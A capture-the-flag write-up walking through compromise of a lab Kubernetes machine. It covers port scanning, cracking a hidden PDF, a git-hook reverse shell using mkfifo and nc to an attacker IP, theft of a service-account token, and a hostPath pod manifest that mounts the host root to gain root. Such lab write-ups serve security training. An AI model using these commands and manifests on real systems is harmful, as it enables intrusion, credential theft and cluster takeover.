Table of Contents

LinkLevelCreator
HereMediumttauveron

Reconn

Aloha! Welcome to a new write up!

For this reconn phase, let’s use nmap to scan the services of the machine!

╰─ lanfran@parrot ❯ sudo nmap 10.10.24.160 -p- -sS --min-rate 5000 -n -Pn                                                          ─╯
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-26 19:23 CEST
Nmap scan report for 10.10.24.160
Host is up (0.076s latency).
Not shown: 65529 closed ports
PORT      STATE    SERVICE
22/tcp    open     ssh
6443/tcp  open     sun-sr-https
10250/tcp open     unknown
30180/tcp filtered unknown
31111/tcp open     unknown
31112/tcp open     unknown

Nmap done: 1 IP address (1 host up) scanned in 24.34 seconds

╰─ lanfran@parrot ❯ sudo nmap 10.10.24.160 -p 22,6443,10250,30180,31111,31112 -sV --min-rate 5000 -n -Pn                            ─╯
[sudo] password for lanfran: 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-26 20:56 CEST
Nmap scan report for 10.10.24.160
Host is up (0.060s latency).

PORT      STATE SERVICE           VERSION
22/tcp    open  ssh               OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
6443/tcp  open  ssl/sun-sr-https?
10250/tcp open  ssl/http          Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
30180/tcp open  http              nginx 1.21.0
31111/tcp open  unknown
31112/tcp open  ssh               OpenSSH 7.5 (protocol 2.0)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.35 seconds

After running both scans against the machine, we have something like this:

PortService
22SSH
6443Kubernetes API server
10250Kubelet API
30180Nginx
31111Gitea(Pod)*
31112SSH(Pod)*

(*) I determined that this ports are from pods because of the default pods’s port range: 30000-32767. Reference here.

So let’s now enumerate our interesting service of the port 30180 the Nginx server, that just showed us a 401 page.

╰─ lanfran@parrot ❯ scan http://10.10.24.160:30180/                                                                                 ─╯
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.24.160:30180/
[+] Threads:        50
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/10/26 20:55:04 Starting gobuster
===============================================================
/team (Status: 301)
===============================================================
2021/10/26 20:55:10 Finished
===============================================================

Great! A new endpoint!

Let’s see what’s on it!

╰─ lanfran@parrot ❯ curl 10.10.24.160:30180/team/                                                                                                                   ─╯
<!DOCTYPE HTML>
<html lang="en">
<head>
<META charset="UTF-8">
<META name="viewport"
 content="width=device-width, initial-scale=1.0">
<title></title>
<style>
[...]
<body>
    <div class='center'>
      <p class="awesome">Alright chums, you can now push your stuff in! <br />
      My pals are waiting for me on Wow, we gotta do serious business, I see you tomorrow.<br />
      Times up, let's do this! <br />
      <iframe width="560" height="315" src="https://www.youtube.com/embed/ufeEAxz1AH8" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

      </p>
      <!-- I shouldn't forget this -->
      <div id="uninteresting_file.pdf" style="visibility: hidden; display: none;">JVBERi0xLjcKJb/3ov4KMSAwIG9iago8PCAvRGVzdHMgMyAwIFIgL0V4dGVuc2lvbnMgPDwgL0FE
QkUgPDwgL0Jhc2VWZXJzaW9uIC8xLjcgL0V4dGVuc2lvbkxldmVsIDggPj4gPj4gL1BhZ2VzIDQg
MCBSIC9UeXBlIC9DYXRhbG9nID4+CmVuZG9iagoyIDAgb2JqCjw8IC9DcmVhdGlvbkRhdGUgPDEw
[REDACTED]
YWQwMGE5NjgxZWU3YWVkZWYxYTc4ZjQwMmQ2NTYxPjw4OGFkMDBhOTY4MWVlN2FlZGVmMWE3OGY0
MDJkNjU2MT5dIC9FbmNyeXB0IDEzIDAgUiA+PgpzdGFydHhyZWYKODY2NAolJUVPRgo=
</div>
    </div>

</body>

Flag 1

Mmm an strange base64 hidden in one div with the name uninteresting_file.pdf. Let’s copy it and decode this base64!

╰─ lanfran@parrot ❯ cat encode.txt | base64 --decode > uninteresting_file.pdf                                                                                       ─╯

╰─ lanfran@parrot ❯ ls -la                                                                                                                                          ─╯
total 32
drwxr-xr-x 1 lanfran lanfran    86 Oct 26 19:48 .
drwxr-xr-x 1 lanfran lanfran   468 Oct 26 19:36 ..
-rw-r--r-- 1 lanfran lanfran 12311 Oct 26 19:47 encode.txt
-rw-r--r-- 1 lanfran lanfran  9113 Oct 26 19:48 uninteresting_file.pdf

Wow! It’s actually a real pdf but it’s secured with a password, let’s use john to crack it!

╰─ lanfran@parrot ❯ perl /usr/share/john/pdf2john.pl uninteresting_file.pdf > pdf.hash                                                                              ─╯

╰─ lanfran@parrot ❯ john pdf.hash --wordlist=/usr/share/wordlists/rockyou.txt                                                                                       ─╯
Using default input encoding: UTF-8
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
Cost 1 (revision) is 6 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[REDACTED]      (uninteresting_file.pdf)
1g 0:00:02:32 DONE (2021-10-26 19:51) 0.006544g/s 397.0p/s 397.0c/s 397.0C/s crazyk..bobby23
Use the "--show --format=PDF" options to display all of the cracked passwords reliably
Session completed

Great! And when we use this password to open the pdf we found something similar to a password! Let’s save it for later.

So, let’s continue with our enumeration, let’s see what the gitea server is hidding!

After registering a dummy account, we found a new user: leeroy!

So maybe the password that we found in the pdf is for this user? Let’s try!

loged

Yes! We now can see the repositories of this user!

If you go to the webhook’s settings of the repository “jenkins”, you can see a webhook, that the secret is actually our second flag!

web

Flag 2

Since this user can add Git Hooks to the repositories, I created a new one and used an exploit similar to this one, for an old THM machine, named Git And Crumpets.

Here is the exploit that we used:

#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.9.6.53 1337 >/tmp/f

expl

[Terminal 1]

╰─ lanfran@parrot ❯ touch crackme.md && git init && git add crackme.md && git commit -m "Exploiting" && git remote add origin http://10.10.24.160:31111/leeroy/vuln.git && git push -u origin master
hint: Using 'master' as the name for the initial branch. This default branch name
hint: is subject to change. To configure the initial branch name to use in all
hint: of your new repositories, which will suppress this warning, call:
hint: 
hint: 	git config --global init.defaultBranch <name>
hint: 
hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
hint: 'development'. The just-created branch can be renamed via this command:
hint: 
hint: 	git branch -m <name>
Initialized empty Git repository in /[...]/exploiting_git/.git/
[master (root-commit) b8dd8d4] Exploiting
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 crackme.md
Username for 'http://10.10.24.160:31111': leeroy
Password for 'http://leeroy@10.10.24.160:31111': 
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Writing objects: 100% (3/3), 214 bytes | 214.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0

----------------

[Terminal 2]

╰─ lanfran@parrot ❯ nc -nlvp 1337                                                                                                  ─╯
listening on [any] 1337 ...
connect to [10.9.6.53] from (UNKNOWN) [10.10.24.160] 37783
bash: cannot set terminal process group (15): Not a tty
bash: no job control in this shell
bash-4.4$ id
id
uid=1000(git) gid=1000(git) groups=1000(git),1000(git)
bash-4.4$ pwd
pwd
/data/git/repositories/leeroy/vuln.git
bash-4.4$ cd /root
bash-4.4$ ls -la
total 12
drwxrwxrwx    3 root     root          4096 May 31 22:01 .
drwxr-xr-x    1 root     root          4096 Oct 26 17:25 ..
drwxr-xr-x    2 root     root          4096 May 31 22:01 ..2021_05_31_22_01_32.228018415
lrwxrwxrwx    1 root     root            31 May 31 22:01 ..data -> ..2021_05_31_22_01_32.228018415
lrwxrwxrwx    1 root     root            16 May 31 22:01 flag2.txt -> ..data/flag2.txt
bash-4.4$ cat flag2.txt 
flag{[REDACTED]}

After submiting the second flag, I used the hint of the flag 3. “kubectl”.

So maybe we have some secrets/tokens to use with kubectl and we can get them from this pod!

And Yes! We have a token stored! Let’s save it in our local machine!

bash-4.4$ ls -la /var/run/secrets/kubernetes.io
total 8
drwxr-xr-x    3 root     root          4096 Oct 26 17:25 .
drwxr-xr-x    3 root     root          4096 Oct 26 17:25 ..
drwxrwxrwt    3 root     root           140 Oct 26 17:25 serviceaccount
bash-4.4$ cd /var/run/secrets/kubernetes.io/serviceaccount
bash-4.4$ ls -la
total 4
drwxrwxrwt    3 root     root           140 Oct 26 17:25 .
drwxr-xr-x    3 root     root          4096 Oct 26 17:25 ..
drwxr-xr-x    2 root     root           100 Oct 26 17:25 ..2021_10_26_17_25_23.066083395
lrwxrwxrwx    1 root     root            31 Oct 26 17:25 ..data -> ..2021_10_26_17_25_23.066083395
lrwxrwxrwx    1 root     root            13 Oct 26 17:25 ca.crt -> ..data/ca.crt
lrwxrwxrwx    1 root     root            16 Oct 26 17:25 namespace -> ..data/namespace
lrwxrwxrwx    1 root     root            12 Oct 26 17:25 token -> ..data/token
bash-4.4$ cat token
eyJhbGciOiJSUzI1NiIsIm[REDACTED]BAx_djkHFv3vza54WS9w

Flag 3

And here comes the sweet part of this machine! “Abuse a misconfigured Kubernetes cluster”

So let’s Ab-use this cluster!

╰─ lanfran@parrot ❯ /tmp/kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://10.10.24.160:6443 auth can-i --list
Resources   Non-Resource URLs   Resource Names   Verbs
*.*         []                  []               [*]
            [*]                 []               [*]

╰─ lanfran@parrot ❯ /tmp/kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://10.10.24.160:6443 get namespaces
NAME              STATUS   AGE
default           Active   147d
kube-system       Active   147d
kube-public       Active   147d
kube-node-lease   Active   147d

After this easy enumeration, we know all the namespaces, and that we have access to all of them!

Now let’s get the secret of the kube-system, so we can read the flag3!

╰─ lanfran@parrot ❯ /tmp/kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://10.10.24.160:6443 get secrets flag3 -o yaml -n kube-system
apiVersion: v1
data:
  flag3.txt: Zmx[REDACTED]IX0=
kind: Secret
metadata:
  annotations:
    kubectl.kubernetes.io/last-applied-configuration: |
      {"apiVersion":"v1","kind":"Secret","metadata":{"annotations":{},"name":"flag3","namespace":"kube-system"},"stringData":{"flag3.txt":"flag{[REDACTED]}"},"type":"Opaque"}
  creationTimestamp: "2021-05-31T22:01:30Z"
  name: flag3
  namespace: kube-system
  resourceVersion: "591"
  uid: 599c6a8b-2a93-4253-a02c-6c0a7eccdc3f
type: Opaque

Root / Flag 4

After submitting the flag3, let’s try to finish this machine, getting our way to “root”!

First let’s get all the pods, and the information of them!

╰─ lanfran@parrot ❯ /tmp/kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://10.10.24.160:6443 get pods                                  ─╯
NAME                     READY   STATUS    RESTARTS   AGE
gitea-0                  1/1     Running   2          147d
nginx-7f459c6889-8slv2   1/1     Running   2          147d


╰─ lanfran@parrot ❯ /tmp/kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://10.10.24.160:6443 get pod nginx-7f459c6889-8slv2 -o yaml    ─╯
apiVersion: v1
kind: Pod
metadata:
  creationTimestamp: "2021-05-31T21:57:34Z"
  generateName: nginx-7f459c6889-
  labels:
    app: nginx
    pod-template-hash: 7f459c6889
  name: nginx-7f459c6889-8slv2
[...]
  containerStatuses:
  - containerID: containerd://0a3ab874a77bbbaf2767c915a76d202d9179f70d635e35c429d2806ca2fde4fa
    image: docker.io/library/nginx:latest
    imageID: docker.io/library/nginx@sha256:6d75c99af15565a301e48297fa2d121e15d80ad526f8369c526324f0f7ccb750
    lastState:
      terminated:
        containerID: containerd://11b48c2a2652638f80a7376f6c2ad107e4040f8348b301db5d24c80226d57665
[...]

We have a docker container running a nginx image on this pod! As I supposed before!

Now, to get root, let’s upload and apply a malicious configuration, containing an exploit to mount the root directory “/” into our new directory “pwned” and we also can get a root shell with this config!

╰─ lanfran@parrot ❯ cat pwned.yaml                                                                                                  ─╯
apiVersion: v1
kind: Pod
metadata:
  name: pwned
spec:
  volumes:
  - name: pwned
    hostPath:
      path: /
      type: Directory                                                                                                         
  containers:
  - image: docker.io/library/nginx@sha256:6d75c99af15565a301e48297fa2d121e15d80ad526f8369c526324f0f7ccb750
    name: pwned
    command: [ "/bin/bash", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
    volumeMounts:
    - mountPath: /pwned
      name: pwned
╰─ lanfran@parrot ❯ /tmp/kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://10.10.24.160:6443 -n default apply -f pwned.yaml            ─╯
pod/pwned-pod created

╰─ lanfran@parrot ❯ /tmp/kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://10.10.24.160:6443 get pods  ─╯
NAME                     READY   STATUS    RESTARTS   AGE
nginx-7f459c6889-8slv2   1/1     Running   2          147d
gitea-0                  1/1     Running   2          147d
pwned-pod                1/1     Running   0          44s

There is our new pod created, now just remains to connect to the pod and get the root flag!

╰─ lanfran@parrot ❯ /tmp/kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://10.10.24.160:6443 -n default exec -it pwned-pod bash            ─╯
kubectl exec [POD] [COMMAND] is DEPRECATED and will be removed in a future version. Use kubectl exec [POD] -- [COMMAND] instead.

root@pwned-pod:/# id
uid=0(root) gid=0(root) groups=0(root)
root@pwned-pod:/# cat /pwned/root/root.txt
flag{[REDACTED]}

And we rooted the machine!

That’s all from my side, hope you find this helpful!